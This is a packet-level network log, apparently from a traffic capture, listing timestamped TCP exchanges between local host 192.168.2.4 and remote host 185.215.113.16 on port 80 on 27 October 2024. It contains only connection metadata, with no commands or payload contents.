Oct 27, 2024 02:03:20.638865948 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.638884068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.638917923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.638950109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.638961077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.638983965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.639014959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.639050007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.639067888 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.639077902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.639087915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.639552116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.639585018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.639614105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.639620066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.639681101 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.639733076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.639784098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.639816999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.639831066 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.639852047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.639883995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.639933109 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.640304089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.640368938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.640369892 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.640403986 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.640436888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.640470982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.640471935 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.640518904 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.693505049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.693542004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.693576097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.693593979 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.693607092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.693643093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.693667889 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.713551044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.713584900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.713637114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.713664055 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.713669062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.713687897 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.713702917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.713736057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.713782072 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.713802099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.713845968 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.713866949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.713895082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.713926077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.713958025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.713990927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.714076996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.714116096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.714143038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.714263916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.714267015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.714299917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.714333057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.714378119 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.714435101 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.714513063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.714544058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.714577913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.714590073 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.714611053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.714643955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.714710951 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.756741047 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.757106066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.757157087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.757204056 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.757206917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.757257938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.757292032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.757323980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.757328033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.757358074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.757369041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.757390022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.757426023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.757443905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.757704973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.757754087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.757759094 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.757786036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.757864952 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.757978916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.758027077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.758059978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.758078098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.758093119 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.758126974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.758136988 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.758160114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.758271933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.758490086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.758542061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.758574963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.758593082 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.758609056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.758657932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.758672953 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.758980036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.759030104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.759042025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.759063959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.759094954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.759107113 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.759129047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.759182930 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.812086105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.812120914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.812154055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.812175035 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.812186956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.812244892 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.832125902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.832180023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.832214117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.832235098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.832246065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.832284927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.832324028 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.832334995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.832369089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.832381010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.832402945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.832449913 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.832469940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.832537889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.832588911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.832602978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.832623005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.832659960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.832690001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.832968950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.833018064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.833019018 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.833053112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.833086014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.833103895 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.833118916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.833153009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.833163023 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.833517075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.833545923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.833578110 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.872946978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.872982979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.873014927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.873018026 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.873092890 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.875694036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.875727892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.875761032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.875806093 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.875816107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.875864983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.875880003 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.875896931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.875931978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.875947952 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.875966072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876022100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.876214027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876245975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876279116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876288891 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.876472950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876506090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876521111 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.876539946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876593113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876599073 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.876754045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876792908 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.876802921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876837015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876868963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876904011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876920938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.876939058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.876949072 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.877296925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.877329111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.877343893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.877362967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.877410889 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.877512932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.877546072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.877594948 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.877597094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.877629042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.877665043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.877671957 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.928610086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.930639982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.930699110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.930747032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.930779934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.930800915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.930813074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.930824995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.950711012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.950776100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.950778008 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.950809956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.950843096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.950875998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.950890064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.950925112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.950927019 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.950973988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.951006889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.951016903 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.951040983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.951235056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.951282978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.951283932 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.951347113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.951351881 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.951381922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.951416016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.951463938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.951688051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.951738119 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.951771021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.951785088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.951803923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.951817036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.951837063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.951884985 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.952092886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.952126026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.952158928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.952179909 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.991543055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.991564989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.991585016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.991604090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.991647959 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.994273901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.994311094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.994348049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.994386911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.994396925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.994430065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.994440079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.994462967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.994611979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.994645119 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.994659901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.994677067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.994678974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.994781971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.994889021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.994921923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.994935036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.994956970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.994972944 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.994990110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.995254040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.995305061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.995335102 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.995356083 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.995373011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.995404005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.995455980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.995487928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.995507002 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.995521069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.995524883 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.995553970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.995587111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.995620012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.995652914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.995651960 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.995652914 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.996242046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.996274948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.996309996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.996325970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.996342897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.996357918 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.996376991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.001260042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.049433947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.049472094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.049525976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.049559116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.049561024 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.049592972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.049624920 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.049626112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.049680948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.049700022 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.069324970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069397926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069410086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.069448948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069482088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069515944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069545031 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.069547892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069581985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069585085 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.069614887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069648981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069650888 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.069788933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069816113 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.069820881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069871902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069904089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069936991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.069952011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.069971085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.070008039 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.070341110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.070386887 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.070389986 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.070424080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.070456028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.070456982 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.070492029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.070523977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.070560932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.070590019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.070590973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.070591927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.073585033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.090811968 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.110124111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.110157967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.110193014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.110224962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.112860918 CET	80	49738	185.215.113.16	192.168.2.4
